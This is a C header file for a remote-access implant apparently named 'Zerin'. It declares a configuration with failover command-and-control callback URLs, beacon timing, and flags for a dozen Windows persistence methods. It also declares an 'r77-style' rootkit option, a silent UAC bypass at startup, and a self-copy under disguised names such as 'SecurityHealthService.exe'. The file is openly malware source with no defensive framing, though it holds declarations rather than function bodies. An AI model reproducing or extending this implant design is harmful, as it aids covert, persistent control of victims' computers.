85 lines
3.0 KiB
C
Executable File
85 lines
3.0 KiB
C
Executable File
#ifndef ZERIN_CONFIG_H
|
|
#define ZERIN_CONFIG_H
|
|
|
|
#include <stdint.h>
|
|
#include <stdbool.h>
|
|
|
|
#define ZERIN_MAX_URLS 4
|
|
#define ZERIN_MAX_URL_LEN 512
|
|
/* WARNING: XOR is placeholder encryption only — trivially reversible.
|
|
* This should be replaced with ChaCha20 (or similar) once the builder
|
|
* is updated to match. Do not rely on this for any real confidentiality. */
|
|
#define CONFIG_XOR_KEY 0xAB
|
|
|
|
// Persistence method flags (auto-install on first run)
|
|
#define PERSIST_RUNKEY 0x0001
|
|
#define PERSIST_SCHTASK 0x0002
|
|
#define PERSIST_SERVICE 0x0004
|
|
#define PERSIST_STARTUP 0x0008
|
|
#define PERSIST_LOGONSCRIPT 0x0010
|
|
#define PERSIST_SCREENSAVER 0x0020
|
|
#define PERSIST_IFEO 0x0040
|
|
#define PERSIST_BITS 0x0080
|
|
#define PERSIST_COM 0x0100
|
|
#define PERSIST_WMI 0x0200
|
|
#define PERSIST_PORTMON 0x0400
|
|
#define PERSIST_SSP 0x0800
|
|
|
|
#define PERSIST_ADMIN_MASK 0x0E44 // SERVICE|IFEO|WMI|PORTMON|SSP
|
|
|
|
typedef struct {
|
|
// Callback URLs (failover list)
|
|
char callback_urls[ZERIN_MAX_URLS][ZERIN_MAX_URL_LEN];
|
|
uint32_t num_urls;
|
|
|
|
// Crypto keys (compiled in)
|
|
uint8_t server_pubkey[32]; // Server's X25519 public key
|
|
uint8_t agent_privkey[32]; // Agent's X25519 private key
|
|
uint8_t agent_pubkey[32]; // Agent's X25519 public key
|
|
|
|
// Agent identity
|
|
char agent_id[37]; // UUID string
|
|
|
|
// Timing
|
|
uint32_t sleep_interval; // Seconds between beacons
|
|
uint32_t jitter_percent; // 0-50
|
|
int64_t kill_date; // Unix timestamp, 0 = no kill date
|
|
|
|
// HTTP
|
|
char user_agent[256];
|
|
|
|
// Persistence
|
|
uint32_t persist_methods; // Bitmask of methods to auto-install
|
|
|
|
// Rootkit
|
|
uint32_t rootkit_enabled; // Enable r77-style rootkit features
|
|
|
|
// Auto-elevation
|
|
uint32_t auto_elevate; // Attempt silent UAC bypass at startup
|
|
|
|
// Install location (self-copy)
|
|
uint32_t install_dir; // Base dir: 0=TEMP, 1=LOCALAPPDATA, 2=APPDATA, 3=PROGRAMDATA, 4=USERPROFILE
|
|
char install_subdir[64]; // Subfolder (e.g. "Microsoft\\WindowsUpdate")
|
|
char install_filename[64]; // Exe filename (e.g. "SecurityHealthService.exe")
|
|
} zerin_config_t;
|
|
|
|
// Initialize config with compiled-in defaults
|
|
int config_init(zerin_config_t *cfg);
|
|
|
|
// Validate config values
|
|
bool config_validate(const zerin_config_t *cfg);
|
|
|
|
// Update config from server command
|
|
void config_update_sleep(zerin_config_t *cfg, uint32_t interval, uint32_t jitter);
|
|
|
|
// Check if kill date has passed
|
|
bool config_is_expired(const zerin_config_t *cfg);
|
|
|
|
// XOR decrypt config blob
|
|
void config_decrypt(uint8_t *data, size_t len, uint8_t key);
|
|
|
|
// Derive a per-machine unique agent ID from build ID + hardware fingerprint
|
|
void config_derive_machine_id(zerin_config_t *cfg);
|
|
|
|
#endif // ZERIN_CONFIG_H
|